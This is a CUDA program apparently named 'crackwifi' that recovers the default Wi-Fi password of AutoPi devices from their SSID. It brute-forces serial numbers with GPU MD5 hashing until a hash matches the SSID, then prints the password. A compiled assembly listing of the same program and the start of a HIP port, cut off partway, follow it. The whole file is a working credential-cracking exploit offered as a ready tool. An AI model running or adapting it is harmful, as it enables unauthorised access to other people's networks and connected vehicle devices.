/* MD5
Original algorithm by RSA Data Security, Inc
Adapted for NVIDIA CUDA by Matthew McClaskey
 
Copyright (C) 1991-2, RSA Data Security, Inc. Created 1991. All
rights reserved.
 
License to copy and use this software is granted provided that it
is identified as the "RSA Data Security, Inc. MD5 Message-Digest
Algorithm" in all material mentioning or referencing this software
or this function.
 
License is also granted to make and use derivative works provided
that such works are identified as "derived from the RSA Data
Security, Inc. MD5 Message-Digest Algorithm" in all material
mentioning or referencing the derived work.
 
RSA Data Security, Inc. makes no representations concerning either
the merchantability of this software or the suitability of this
software for any particular purpose. It is provided "as is"
without express or implied warranty of any kind.
 
These notices must be retained in any copies of any part of this
documentation and/or software.
*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <math.h>
 
const unsigned int S11 = 7;
const unsigned int S12 = 12;
const unsigned int S13 = 17;
const unsigned int S14 = 22;
const unsigned int S21 = 5;
const unsigned int S22 = 9;
const unsigned int S23 = 14;
const unsigned int S24 = 20;
const unsigned int S31 = 4;
const unsigned int S32 = 11;
const unsigned int S33 = 16;
const unsigned int S34 = 23;
const unsigned int S41 = 6;
const unsigned int S42 = 10;
const unsigned int S43 = 15;
const unsigned int S44 = 21;

#define TRUE 1
#define FALSE 0

__device__ const unsigned int charLen = 8;
__device__ const unsigned int pwdbitlen = 136; // number of bits in plain text
__device__ const unsigned char hexLookup[] = "0123456789abcdef";
 
/* F, G, H and I are basic MD5 functions */
__device__ inline unsigned int F(unsigned int x, unsigned int y, unsigned int z) { return (((x) & (y)) | ((~x) & (z))); }
__device__ inline unsigned int G(unsigned int x, unsigned int y, unsigned int z) { return (((x) & (z)) | ((y) & (~z))); }
__device__ inline unsigned int H(unsigned int x, unsigned int y, unsigned int z) { return ((x) ^ (y) ^ (z)); }
__device__ inline unsigned int I(unsigned int x, unsigned int y, unsigned int z) { return ((y) ^ ((x) | (~z))); }
 
/* ROTATE_LEFT rotates x left n bits */
#define ROTATE_LEFT(x, n) (((x) << (n)) | ((x) >> (32-(n))))
 
/* Rotation is separate from addition to prevent recomputation */
__device__ inline void FF(unsigned int &a, unsigned int b, unsigned int c, unsigned int d, unsigned int x, unsigned int s, unsigned int ac)
{
	a = ROTATE_LEFT(a + F(b, c, d) + x + ac, s) + b;
}
 
__device__ inline void GG(unsigned int &a, unsigned int b, unsigned int c, unsigned int d, unsigned int x, unsigned int s, unsigned int ac)
{
	a = ROTATE_LEFT(a + G(b, c, d) + x + ac, s) + b;
}
 
__device__ inline void HH(unsigned int &a, unsigned int b, unsigned int c, unsigned int d, unsigned int x, unsigned int s, unsigned int ac)
{
	a = ROTATE_LEFT(a + H(b ,c ,d) + x + ac, s) + b;
}
 
__device__ inline void II(unsigned int &a, unsigned int b, unsigned int c, unsigned int d, unsigned int x, unsigned int s, unsigned int ac)
{
	a = ROTATE_LEFT(a + I(b, c, d) + x + ac, s) + b;
}

__device__ void setSerial(char output[], unsigned int input[]) {
	for (unsigned int i = 0, j = 0; j < 16; j+=4, i++) {
		for (unsigned int k = 0; k < 4; k++) {
			output[j + k] = (unsigned char) ((input[i] >> 8*k) & 0xff);
		}
	}
}

__device__ void setHash(char output[], unsigned int input[]) {
	for (unsigned int i = 0, j = 0; j < 32; j+=8, i++) {
		for (unsigned int k = 0; k < 8; k+=2) {
			output[j + k + 1] = hexLookup[((input[i] >> 4*k+0) & 0xf)];
			output[j + k + 0] = hexLookup[((input[i] >> 4*k+4) & 0xf)];
		}
	}
}
 
__global__ void findMatch(unsigned int* ssid, unsigned int* found, char* serialResult, char* hashResult) {  
	unsigned int a, b, c, d;
	unsigned int serial[5];

	for (int i = 0; i < sizeof(serial)/sizeof(serial[0]); i++) {
		serial[i] = 0;
	}

	/*
		Set up serial number in format: "00000000xyzrsijk" + "\n"
		(md5 uses little endian => "00000000rzyxkjis")
		
		Where chars...:
		x, y & z are taken from the blockId.
		r & s are taken from the threadId.
		i, j & k are produced in the three nested loops underneath.
		
		The serial is stored in a int array:
		serial[0] == '0000'
		serial[1] == '0000'
		serial[2] == 'xyzr'
		serial[3] == 'sijk'
		serial[4] == '  d\n'	// d = 1 bit delimiter used by the md5 algorithm
	*/

	for (int i = 0; i < 4; i++) {
		serial[0] += hexLookup[0] << charLen*i;
	}
	serial[1] = serial[0];
	
	serial[2] += hexLookup[(blockIdx.x & 0xf00) >> 8] << charLen*3;		// serial[2] = 'x   '
	serial[2] += hexLookup[(blockIdx.x & 0x0f0) >> 4] << charLen*2;		// serial[2] = 'xy  '
	serial[2] += hexLookup[(blockIdx.x & 0x00f)]      << charLen*1;		// serial[2] = 'xyz '
	serial[2] += hexLookup[(threadIdx.x & 0xf0) >> 4] << charLen*0;		// serial[2] = 'xyzr'

	serial[3] += hexLookup[(threadIdx.x & 0x0f)]      << charLen*3;		// serial[3] = 't   '

	serial[4] += 10  << charLen*0;    					// serial[4] = '   \n'
	serial[4] += 128 << charLen*1;    					// serial[4] = '  d\n'

	// ASCII 0(48) -> 9(57) & a(97) -> f(102)               
	for (unsigned int i = 48; i <= 102; i++) {
		serial[3] &= ~(0xff << charLen*2);           // erase last loops value    
		serial[3] += (i << charLen*2);               // serial[3] = 'ti  '

		for (unsigned int j = 48; j <= 102; j++) {
			serial[3] &= ~(0xff << charLen*1);       // erase last loops value   
			serial[3] += (j << charLen*1);           // serial[3] = 'tij '

			for (unsigned int k = 48; k <= 102; k++) {
				serial[3] &= ~(0xff << charLen*0);   // erase last loops value   
				serial[3] += (k << charLen*0);       // serial[3] = 'tijk'

				//load magic numbers
				a = 0x67452301;
				b = 0xefcdab89;
				c = 0x98badcfe;
				d = 0x10325476;

				// Round 1
				FF ( a, b, c, d, serial[0], S11, 0xd76aa478); // 1
				FF ( d, a, b, c, serial[1], S12, 0xe8c7b756); // 2
				FF ( c, d, a, b, serial[2], S13,  0x242070db); // 3
				FF ( b, c, d, a, serial[3], S14, 0xc1bdceee); // 4
				FF ( a, b, c, d, serial[4], S11, 0xf57c0faf); // 5
				FF ( d, a, b, c, 0, S12, 0x4787c62a); // 6
				FF ( c, d, a, b, 0, S13, 0xa8304613); // 7
				FF ( b, c, d, a, 0, S14, 0xfd469501); // 8
				FF ( a, b, c, d, 0, S11, 0x698098d8); // 9
				FF ( d, a, b, c, 0, S12, 0x8b44f7af); // 10
				FF ( c, d, a, b, 0, S13, 0xffff5bb1); // 11
				FF ( b, c, d, a, 0, S14, 0x895cd7be); // 12
				FF ( a, b, c, d, 0, S11, 0x6b901122); // 13
				FF ( d, a, b, c, 0, S12, 0xfd987193); // 14
				FF ( c, d, a, b, pwdbitlen, S13, 0xa679438e); // 15
				FF ( b, c, d, a, 0, S14, 0x49b40821); // 

				// Round 2
				GG (a, b, c, d, serial[1], S21, 0xf61e2562); // 17
				GG (d, a, b, c, 0, S22, 0xc040b340); // 18
				GG (c, d, a, b, 0, S23, 0x265e5a51); // 19
				GG (b, c, d, a, serial[0], S24, 0xe9b6c7aa); // 20
				GG (a, b, c, d, 0, S21, 0xd62f105d); // 21
				GG (d, a, b, c, 0, S22,  0x2441453); // 22
				GG (c, d, a, b, 0, S23, 0xd8a1e681); // 23
				GG (b, c, d, a, serial[4], S24, 0xe7d3fbc8); // 24
				GG (a, b, c, d, 0, S21, 0x21e1cde6); // 25
				GG (d, a, b, c, pwdbitlen, S22, 0xc33707d6); // 26
				GG (c, d, a, b, serial[3], S23, 0xf4d50d87); // 27
				GG (b, c, d, a, 0, S24, 0x455a14ed); // 28
				GG (a, b, c, d, 0, S21, 0xa9e3e905); // 29
				GG (d, a, b, c, serial[2], S22, 0xfcefa3f8); // 30
				GG (c, d, a, b, 0, S23, 0x676f02d9); // 31
				GG (b, c, d, a, 0, S24, 0x8d2a4c8a); // 32

				// Round 3
				HH (a, b, c, d, 0, S31, 0xfffa3942); // 33
				HH (d, a, b, c, 0, S32, 0x8771f681); // 34
				HH (c, d, a, b, 0, S33, 0x6d9d6122); // 35
				HH (b, c, d, a, pwdbitlen, S34, 0xfde5380c); // 36
				HH (a, b, c, d, serial[1], S31, 0xa4beea44); // 37
				HH (d, a, b, c, serial[4], S32, 0x4bdecfa9); // 38
				HH (c, d, a, b, 0, S33, 0xf6bb4b60); // 39
				HH (b, c, d, a, 0, S34, 0xbebfbc70); // 40
				HH (a, b, c, d, 0, S31, 0x289b7ec6); // 41
				HH (d, a, b, c, serial[0], S32, 0xeaa127fa); // 42
				HH (c, d, a, b, serial[3], S33, 0xd4ef3085); // 43
				HH (b, c, d, a, 0, S34,  0x4881d05); // 44
				HH (a, b, c, d, 0, S31, 0xd9d4d039); // 45
				HH (d, a, b, c, 0, S32, 0xe6db99e5); // 46
				HH (c, d, a, b, 0, S33, 0x1fa27cf8); // 47
				HH (b, c, d, a, serial[2], S34, 0xc4ac5665); // 48

				// Round 4
				II (a, b, c, d, serial[0], S41, 0xf4292244); // 49
				II (d, a, b, c, 0, S42, 0x432aff97); // 50
				II (c, d, a, b, pwdbitlen, S43, 0xab9423a7); // 51
				II (b, c, d, a, 0, S44, 0xfc93a039); // 52
				II (a, b, c, d, 0, S41, 0x655b59c3); // 53
				II (d, a, b, c, serial[3], S42, 0x8f0ccc92); // 54
				II (c, d, a, b, 0, S43, 0xffeff47d); // 55
				II (b, c, d, a, serial[1], S44, 0x85845dd1); // 56
				II (a, b, c, d, 0, S41, 0x6fa87e4f); // 57
				II (d, a, b, c, 0, S42, 0xfe2ce6e0); // 58
				II (c, d, a, b, 0, S43, 0xa3014314); // 59
				II (b, c, d, a, 0, S44, 0x4e0811a1); // 60
				II (a, b, c, d, serial[4], S41, 0xf7537e82); // 61
				II (d, a, b, c, 0, S42, 0xbd3af235); // 62
				II (c, d, a, b, serial[2], S43, 0x2ad7d2bb); // 63
				II (b, c, d, a, 0, S44, 0xeb86d391); // 64

				a += 0x67452301;
				b += 0xefcdab89;
				c += 0x98badcfe;
				d += 0x10325476;

				if (((c >> charLen*2) & 0xffff) == ((ssid[0] >> charLen*2) & 0xffff) && d == ssid[1]) {
					unsigned int hash[] = {a, b, c, d};

					*found = TRUE;
					setSerial(serialResult, serial);
					setHash(hashResult, hash);
					
					return;
				}

				if (k == 57)
					k = 96; // values will be incremented to 97 at the end of their loops
			}
			if (j == 57)
				j = 96;
		}
		if (i == 57)
			i = 96;
	}
}

void usage(char *argv[]) {
	printf("%-7s %s %s\n", "Usage:", argv[0], "<12 hex SSID>");
	exit(0);
}

// Converts the 12 hex char ssid input to arrays of integers in
// little endian which is used by the md5 algorithm.
void ssidToInts(unsigned int result[], char input[]) {
	// Pad with zeros to align with multiple of 8.
	// Will be masked away when doing compares.
	char ssid[17];
	snprintf(ssid, sizeof(ssid)/sizeof(ssid[0]), "%s%s", "0000", input);

	char tmpResult[9];
	tmpResult[8] = 0;
	for (int i = 0; i < 16; i+=8) {
		for (int j = 0; j < 8; j+=2) {
			tmpResult[(j + 1) % 8] = ssid[i + (8 - 1 - j - 0)];
			tmpResult[(j + 0) % 8] = ssid[i + (8 - 1 - j - 1)];
		}
		
		result[(i + 1) / 8] = strtoul(tmpResult, NULL, 16);
	}
}

int main(int argc, char *argv[]) {
	if (argc != 2 || strlen(argv[1]) != 12) {
		usage(argv);
	}
	
	// declare
	unsigned int *found, *ssid;
	char *serialResult, *hashResult;
	const int SERIAL_LENGTH = 16 + 1, HASH_LENGTH = 32 + 1;

	// malloc
	cudaMallocManaged((void**)&found, sizeof(int));
	cudaMallocManaged((void**)&ssid, 2 * sizeof(int));
	cudaMallocManaged((void**)&serialResult, SERIAL_LENGTH * sizeof(char));
	cudaMallocManaged((void**)&hashResult, HASH_LENGTH * sizeof(char));
	
	// init
	*found = FALSE;
	ssidToInts(ssid, argv[1]);
	serialResult[SERIAL_LENGTH - 1] = 0;
	hashResult[HASH_LENGTH - 1] = 0;

	findMatch<<<4096, 256>>>(ssid, found, serialResult, hashResult);
	cudaDeviceSynchronize();
	
	if (*found) {
		char password[13];
		strncpy(password, hashResult, 12);
		password[12] = 0;

		printf("%-10s %s\n", "Serial:", serialResult);
		printf("%-10s %s\n", "Hash:", hashResult);
		printf("%-10s AutoPi-%s\n", "SSID:", argv[1]);
		printf("%-10s %s\n", "Password:", password);
	} else {
		printf("No match found for SSID %s\n", argv[1]);
	}

	cudaFree(found);
	cudaFree(ssid);
	cudaFree(serialResult);
	cudaFree(hashResult);

	return 0;
}

	.file	"tmpxft_00348b67_00000000-6_crackwifi.cudafe1.cpp"
	.text
#APP

#NO_APP
	.type	_ZL26__cudaUnregisterBinaryUtilv, @function
_ZL26__cudaUnregisterBinaryUtilv:
.LFB2042:
	.cfi_startproc
	endbr64
	movq	_ZL20__cudaFatCubinHandle(%rip), %rdi
	jmp	__cudaUnregisterFatBinary@PLT
	.cfi_endproc
.LFE2042:
	.size	_ZL26__cudaUnregisterBinaryUtilv, .-_ZL26__cudaUnregisterBinaryUtilv
	.globl	_Z9setSerialPcPj
	.type	_Z9setSerialPcPj, @function
_Z9setSerialPcPj:
.LFB2035:
	.cfi_startproc
	endbr64
	pushq	%rax
	.cfi_def_cfa_offset 16
	popq	%rax
	.cfi_def_cfa_offset 8
	subq	$24, %rsp
	.cfi_def_cfa_offset 32
	movl	$1, 12(%rsp)
	movl	12(%rsp), %edi
	call	exit@PLT
	.cfi_endproc
.LFE2035:
	.size	_Z9setSerialPcPj, .-_Z9setSerialPcPj
	.globl	_Z7setHashPcPj
	.type	_Z7setHashPcPj, @function
_Z7setHashPcPj:
.LFB2184:
	.cfi_startproc
	endbr64
	pushq	%rax
	.cfi_def_cfa_offset 16
	popq	%rax
	.cfi_def_cfa_offset 8
	pushq	%rax
	.cfi_def_cfa_offset 16
	call	_Z9setSerialPcPj
	.cfi_endproc
.LFE2184:
	.size	_Z7setHashPcPj, .-_Z7setHashPcPj
	.section	.rodata.str1.1,"aMS",@progbits,1
.LC0:
	.string	"<12 hex SSID>"
.LC1:
	.string	"Usage:"
.LC2:
	.string	"%-7s %s %s\n"
	.text
	.globl	_Z5usagePPc
	.type	_Z5usagePPc, @function
_Z5usagePPc:
.LFB2037:
	.cfi_startproc
	endbr64
	pushq	%rax
	.cfi_def_cfa_offset 16
	popq	%rax
	.cfi_def_cfa_offset 8
	leaq	.LC0(%rip), %r8
	leaq	.LC1(%rip), %rdx
	leaq	.LC2(%rip), %rsi
	pushq	%rax
	.cfi_def_cfa_offset 16
	movq	(%rdi), %rcx
	xorl	%eax, %eax
	movl	$2, %edi
	call	__printf_chk@PLT
	xorl	%edi, %edi
	call	exit@PLT
	.cfi_endproc
.LFE2037:
	.size	_Z5usagePPc, .-_Z5usagePPc
	.section	.rodata.str1.1
.LC3:
	.string	"0000"
.LC4:
	.string	"%s%s"
	.text
	.globl	_Z10ssidToIntsPjPc
	.type	_Z10ssidToIntsPjPc, @function
_Z10ssidToIntsPjPc:
.LFB2038:
	.cfi_startproc
	endbr64
	pushq	%rbp
	.cfi_def_cfa_offset 16
	.cfi_offset 6, -16
	movl	$17, %ecx
	leaq	.LC3(%rip), %r9
	leaq	.LC4(%rip), %r8
	pushq	%rbx
	.cfi_def_cfa_offset 24
	.cfi_offset 3, -24
	movq	%rdi, %rbx
	subq	$56, %rsp
	.cfi_def_cfa_offset 80
	movq	%fs:40, %rax
	movq	%rax, 40(%rsp)
	xorl	%eax, %eax
	leaq	23(%rsp), %rdi
	pushq	%rdx
	.cfi_def_cfa_offset 88
	movl	$2, %edx
	pushq	%rsi
	.cfi_def_cfa_offset 96
	movl	$17, %esi
	leaq	30(%rsp), %rbp
	call	__snprintf_chk@PLT
	movw	45(%rsp), %ax
	xorl	%esi, %esi
	movq	%rbp, %rdi
	movl	$16, %edx
	movb	$0, 38(%rsp)
	movw	%ax, 30(%rsp)
	movw	43(%rsp), %ax
	movw	%ax, 32(%rsp)
	movw	41(%rsp), %ax
	movw	%ax, 34(%rsp)
	movw	39(%rsp), %ax
	movw	%ax, 36(%rsp)
	call	__isoc23_strtoul@PLT
	xorl	%esi, %esi
	movl	$16, %edx
	movq	%rbp, %rdi
	movl	%eax, (%rbx)
	movw	53(%rsp), %ax
	movw	%ax, 30(%rsp)
	movw	51(%rsp), %ax
	movw	%ax, 32(%rsp)
	movw	49(%rsp), %ax
	movw	%ax, 34(%rsp)
	movw	47(%rsp), %ax
	movw	%ax, 36(%rsp)
	call	__isoc23_strtoul@PLT
	movl	%eax, 4(%rbx)
	popq	%rcx
	.cfi_def_cfa_offset 88
	popq	%rsi
	.cfi_def_cfa_offset 80
	movq	40(%rsp), %rax
	subq	%fs:40, %rax
	je	.L9
	call	__stack_chk_fail@PLT
.L9:
	addq	$56, %rsp
	.cfi_def_cfa_offset 24
	popq	%rbx
	.cfi_def_cfa_offset 16
	popq	%rbp
	.cfi_def_cfa_offset 8
	ret
	.cfi_endproc
.LFE2038:
	.size	_Z10ssidToIntsPjPc, .-_Z10ssidToIntsPjPc
	.globl	_Z35__device_stub__Z9findMatchPjS_PcS0_PjS_PcS0_
	.type	_Z35__device_stub__Z9findMatchPjS_PcS0_PjS_PcS0_, @function
_Z35__device_stub__Z9findMatchPjS_PcS0_PjS_PcS0_:
.LFB2064:
	.cfi_startproc
	endbr64
	subq	$152, %rsp
	.cfi_def_cfa_offset 160
	movq	%rdi, 24(%rsp)
	leaq	56(%rsp), %rdi
	movq	%rsi, 16(%rsp)
	leaq	68(%rsp), %rsi
	movq	%rdx, 8(%rsp)
	leaq	40(%rsp), %rdx
	movq	%rcx, (%rsp)
	leaq	48(%rsp), %rcx
	movq	%fs:40, %rax
	movq	%rax, 136(%rsp)
	xorl	%eax, %eax
	leaq	24(%rsp), %rax
	movl	$1, 64(%rsp)
	movq	%rax, 104(%rsp)
	leaq	16(%rsp), %rax
	movq	%rax, 112(%rsp)
	leaq	8(%rsp), %rax
	movq	%rax, 120(%rsp)
	movq	%rsp, %rax
	movq	%rax, 128(%rsp)
	movabsq	$4294967297, %rax
	movq	%rax, 56(%rsp)
	movq	%rax, 68(%rsp)
	movl	$1, 76(%rsp)
	call	__cudaPopCallConfiguration@PLT
	testl	%eax, %eax
	jne	.L12
	pushq	48(%rsp)
	.cfi_def_cfa_offset 168
	leaq	_Z9findMatchPjS_PcS0_(%rip), %rdi
	pushq	48(%rsp)
	.cfi_def_cfa_offset 176
	movq	84(%rsp), %rcx
	movl	92(%rsp), %r8d
	movq	72(%rsp), %rsi
	movl	80(%rsp), %edx
	leaq	120(%rsp), %r9
	call	cudaLaunchKernel@PLT
	popq	%rax
	.cfi_def_cfa_offset 168
	popq	%rdx
	.cfi_def_cfa_offset 160
.L12:
	movq	136(%rsp), %rax
	subq	%fs:40, %rax
	je	.L14
	call	__stack_chk_fail@PLT
.L14:
	addq	$152, %rsp
	.cfi_def_cfa_offset 8
	ret
	.cfi_endproc
.LFE2064:
	.size	_Z35__device_stub__Z9findMatchPjS_PcS0_PjS_PcS0_, .-_Z35__device_stub__Z9findMatchPjS_PcS0_PjS_PcS0_
	.globl	_Z9findMatchPjS_PcS0_
	.type	_Z9findMatchPjS_PcS0_, @function
_Z9findMatchPjS_PcS0_:
.LFB2065:
	.cfi_startproc
	endbr64
	jmp	_Z35__device_stub__Z9findMatchPjS_PcS0_PjS_PcS0_
	.cfi_endproc
.LFE2065:
	.size	_Z9findMatchPjS_PcS0_, .-_Z9findMatchPjS_PcS0_
	.section	.rodata.str1.1
.LC5:
	.string	"Serial:"
.LC6:
	.string	"%-10s %s\n"
.LC7:
	.string	"Hash:"
.LC8:
	.string	"SSID:"
.LC9:
	.string	"%-10s AutoPi-%s\n"
.LC10:
	.string	"Password:"
.LC11:
	.string	"No match found for SSID %s\n"
	.section	.text.startup,"ax",@progbits
	.globl	main
	.type	main, @function
main:
.LFB2039:
	.cfi_startproc
	endbr64
	pushq	%r12
	.cfi_def_cfa_offset 16
	.cfi_offset 12, -16
	pushq	%rbp
	.cfi_def_cfa_offset 24
	.cfi_offset 6, -24
	pushq	%rbx
	.cfi_def_cfa_offset 32
	.cfi_offset 3, -32
	movq	%rsi, %rbx
	subq	$80, %rsp
	.cfi_def_cfa_offset 112
	movq	%fs:40, %rax
	movq	%rax, 72(%rsp)
	xorl	%eax, %eax
	cmpl	$2, %edi
	jne	.L18
	movq	8(%rsi), %rdi
	call	strlen@PLT
	cmpq	$12, %rax
	je	.L19
.L18:
	movq	72(%rsp), %rax
	subq	%fs:40, %rax
	jne	.L26
	movq	%rbx, %rdi
	call	_Z5usagePPc
.L19:
	movq	%rsp, %rdi
	movl	$1, %edx
	movl	$4, %esi
	call	cudaMallocManaged@PLT
	leaq	8(%rsp), %rdi
	movl	$1, %edx
	movl	$8, %esi
	call	cudaMallocManaged@PLT
	leaq	16(%rsp), %rdi
	movl	$1, %edx
	movl	$17, %esi
	call	cudaMallocManaged@PLT
	leaq	24(%rsp), %rdi
	movl	$1, %edx
	movl	$33, %esi
	call	cudaMallocManaged@PLT
	movq	(%rsp), %rax
	xorl	%edx, %edx
	movq	8(%rbx), %rsi
	movq	8(%rsp), %rdi
	movl	%edx, (%rax)
	call	_Z10ssidToIntsPjPc
	movq	16(%rsp), %rax
	xorl	%r9d, %r9d
	xorl	%r8d, %r8d
	movl	$16777217, %edx
	movl	$1048577, %edi
	movl	$1, %ecx
	movl	$1, %esi
	movb	$0, 16(%rax)
	salq	$8, %rdx
	salq	$12, %rdi
	movq	24(%rsp), %rax
	movq	%rdx, 44(%rsp)
	movb	$0, 32(%rax)
	movl	$1, 52(%rsp)
	movq	%rdi, 32(%rsp)
	movl	$1, 40(%rsp)
	call	__cudaPushCallConfiguration@PLT
	testl	%eax, %eax
	jne	.L21
	movq	24(%rsp), %rcx
	movq	16(%rsp), %rdx
	movq	(%rsp), %rsi
	movq	8(%rsp), %rdi
	call	_Z35__device_stub__Z9findMatchPjS_PcS0_PjS_PcS0_
.L21:
	call	cudaDeviceSynchronize@PLT
	movq	(%rsp), %rax
	cmpl	$0, (%rax)
	je	.L22
	movq	24(%rsp), %rsi
	leaq	59(%rsp), %r12
	movl	$12, %edx
	leaq	.LC6(%rip), %rbp
	movq	%r12, %rdi
	call	strncpy@PLT
	movq	16(%rsp), %rcx
	movq	%rbp, %rsi
	xorl	%eax, %eax
	leaq	.LC5(%rip), %rdx
	movl	$2, %edi
	movb	$0, 71(%rsp)
	call	__printf_chk@PLT
	movq	24(%rsp), %rcx
	movq	%rbp, %rsi
	xorl	%eax, %eax
	leaq	.LC7(%rip), %rdx
	movl	$2, %edi
	call	__printf_chk@PLT
	movq	8(%rbx), %rcx
	movl	$2, %edi
	xorl	%eax, %eax
	leaq	.LC8(%rip), %rdx
	leaq	.LC9(%rip), %rsi
	call	__printf_chk@PLT
	movq	%r12, %rcx
	movq	%rbp, %rsi
	movl	$2, %edi
	leaq	.LC10(%rip), %rdx
	xorl	%eax, %eax
	call	__printf_chk@PLT
	jmp	.L23
.L22:
	movq	8(%rbx), %rdx
	leaq	.LC11(%rip), %rsi
	movl	$2, %edi
	xorl	%eax, %eax
	call	__printf_chk@PLT
.L23:
	movq	(%rsp), %rdi
	call	cudaFree@PLT
	movq	8(%rsp), %rdi
	call	cudaFree@PLT
	movq	16(%rsp), %rdi
	call	cudaFree@PLT
	movq	24(%rsp), %rdi
	call	cudaFree@PLT
	movq	72(%rsp), %rax
	subq	%fs:40, %rax
	je	.L24
.L26:
	call	__stack_chk_fail@PLT
.L24:
	addq	$80, %rsp
	.cfi_def_cfa_offset 32
	xorl	%eax, %eax
	popq	%rbx
	.cfi_def_cfa_offset 24
	popq	%rbp
	.cfi_def_cfa_offset 16
	popq	%r12
	.cfi_def_cfa_offset 8
	ret
	.cfi_endproc
.LFE2039:
	.size	main, .-main
	.section	.rodata.str1.1
.LC12:
	.string	"_Z9findMatchPjS_PcS0_"
.LC13:
	.string	"charLen"
.LC14:
	.string	"pwdbitlen"
.LC15:
	.string	"hexLookup"
	.section	.text.startup
	.type	_ZL24__sti____cudaRegisterAllv, @function
_ZL24__sti____cudaRegisterAllv:
.LFB2067:
	.cfi_startproc
	endbr64
	pushq	%rbx
	.cfi_def_cfa_offset 16
	.cfi_offset 3, -16
	leaq	_ZL15__fatDeviceText(%rip), %rdi
	call	__cudaRegisterFatBinary@PLT
	pushq	$0
	.cfi_def_cfa_offset 24
	xorl	%r9d, %r9d
	orl	$-1, %r8d
	pushq	$0
	.cfi_def_cfa_offset 32
	leaq	.LC12(%rip), %rdx
	movq	%rax, %rdi
	movq	%rax, %rbx
	pushq	$0
	.cfi_def_cfa_offset 40
	movq	%rdx, %rcx
	leaq	_Z9findMatchPjS_PcS0_(%rip), %rsi
	pushq	$0
	.cfi_def_cfa_offset 48
	movq	%rax, _ZL20__cudaFatCubinHandle(%rip)
	call	__cudaRegisterFunction@PLT
	addq	$32, %rsp
	.cfi_def_cfa_offset 16
	movq	%rbx, %rdi
	xorl	%r8d, %r8d
	pushq	$0
	.cfi_def_cfa_offset 24
	leaq	.LC13(%rip), %rdx
	movl	$4, %r9d
	leaq	_ZL7charLen(%rip), %rsi
	pushq	$0
	.cfi_def_cfa_offset 32
	movq	%rdx, %rcx
	call	__cudaRegisterVar@PLT
	popq	%rax
	.cfi_def_cfa_offset 24
	popq	%rdx
	.cfi_def_cfa_offset 16
	pushq	$0
	.cfi_def_cfa_offset 24
	pushq	$0
	.cfi_def_cfa_offset 32
	leaq	.LC14(%rip), %rdx
	movq	%rbx, %rdi
	xorl	%r8d, %r8d
	movq	%rdx, %rcx
	movl	$4, %r9d
	leaq	_ZL9pwdbitlen(%rip), %rsi
	call	__cudaRegisterVar@PLT
	popq	%rcx
	.cfi_def_cfa_offset 24
	popq	%rsi
	.cfi_def_cfa_offset 16
	pushq	$0
	.cfi_def_cfa_offset 24
	pushq	$0
	.cfi_def_cfa_offset 32
	leaq	.LC15(%rip), %rdx
	movq	%rbx, %rdi
	xorl	%r8d, %r8d
	movl	$17, %r9d
	movq	%rdx, %rcx
	leaq	_ZL9hexLookup(%rip), %rsi
	call	__cudaRegisterVar@PLT
	popq	%rdi
	.cfi_def_cfa_offset 24
	movq	_ZL20__cudaFatCubinHandle(%rip), %rdi
	popq	%r8
	.cfi_def_cfa_offset 16
	call	__cudaRegisterFatBinaryEnd@PLT
	leaq	_ZL26__cudaUnregisterBinaryUtilv(%rip), %rdi
	popq	%rbx
	.cfi_def_cfa_offset 8
	jmp	atexit@PLT
	.cfi_endproc
.LFE2067:
	.size	_ZL24__sti____cudaRegisterAllv, .-_ZL24__sti____cudaRegisterAllv
	.section	.init_array,"aw"
	.align 8
	.quad	_ZL24__sti____cudaRegisterAllv
	.section	.nvFatBinSegment,"aw"
	.align 8
	.type	_ZL15__fatDeviceText, @object
	.size	_ZL15__fatDeviceText, 24
_ZL15__fatDeviceText:
	.long	1180844977
	.long	1
	.quad	fatbinData
	.quad	0
	.local	_ZL20__cudaFatCubinHandle
	.comm	_ZL20__cudaFatCubinHandle,8,8
	.section	.rodata
	.align 16
	.type	_ZL9hexLookup, @object
	.size	_ZL9hexLookup, 17
_ZL9hexLookup:
	.string	"0123456789abcdef"
	.align 4
	.type	_ZL9pwdbitlen, @object
	.size	_ZL9pwdbitlen, 4
_ZL9pwdbitlen:
	.long	136
	.align 4
	.type	_ZL7charLen, @object
	.size	_ZL7charLen, 4
_ZL7charLen:
	.long	8
	.ident	"GCC: (Ubuntu 13.3.0-6ubuntu2~24.04) 13.3.0"
	.section	.note.GNU-stack,"",@progbits
	.section	.note.gnu.property,"a"
	.align 8
	.long	1f - 0f
	.long	4f - 1f
	.long	5
0:
	.string	"GNU"
1:
	.align 8
	.long	0xc0000002
	.long	3f - 2f
2:
	.long	0x3
3:
	.align 8
4:

/* MD5
Original algorithm by RSA Data Security, Inc
Adapted for NVIDIA CUDA by Matthew McClaskey
 
Copyright (C) 1991-2, RSA Data Security, Inc. Created 1991. All
rights reserved.
 
License to copy and use this software is granted provided that it
is identified as the "RSA Data Security, Inc. MD5 Message-Digest
Algorithm" in all material mentioning or referencing this software
or this function.
 
License is also granted to make and use derivative works provided
that such works are identified as "derived from the RSA Data
Security, Inc. MD5 Message-Digest Algorithm" in all material
mentioning or referencing the derived work.
 
RSA Data Security, Inc. makes no representations concerning either
the merchantability of this software or the suitability of this
software for any particular purpose. It is provided "as is"
without express or implied warranty of any kind.
 
These notices must be retained in any copies of any part of this
documentation and/or software.
*/


#include <hip/hip_runtime.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <math.h>
 
const unsigned int S11 = 7;
const unsigned int S12 = 12;
const unsigned int S13 = 17;
const unsigned int S14 = 22;
const unsigned int S21 = 5;
const unsigned int S22 = 9;
const unsigned int S23 = 14;
const unsigned int S24 = 20;
const unsigned int S31 = 4;
const unsigned int S32 = 11;
const unsigned int S33 = 16;
const unsigned int S34 = 23;
const unsigned int S41 = 6;
const unsigned int S42 = 10;
const unsigned int S43 = 15;
const unsigned int S44 = 21;

#define TRUE 1
#define FALSE 0

__device__ const unsigned int charLen = 8;
__device__ const unsigned int pwdbitlen = 136; // number of bits in plain text
__device__ const unsigned char hexLookup[] = "0123456789abcdef";
 
/* F, G, H and I are basic MD5 functions */
__device__ inline unsigned int F(unsigned int x, unsigned int y, unsigned int z) { return (((x) & (y)) | ((~x) & (z))); }
__device__ inline unsigned int G(unsigned int x, unsigned int y, unsigned int z) { return (((x) & (z)) | ((y) & (~z))); }
__device__ inline unsigned int H(unsigned int x, unsigned int y, unsigned int z) { return ((x) ^ (y) ^ (z)); }
__device__ inline unsigned int I(unsigned int x, unsigned int y, unsigned int z) { return ((y) ^ ((x) | (~z))); }
 
/* ROTATE_LEFT rotates x left n bits */
#define ROTATE_LEFT(x, n) (((x) << (n)) | ((x) >> (32-(n))))
 
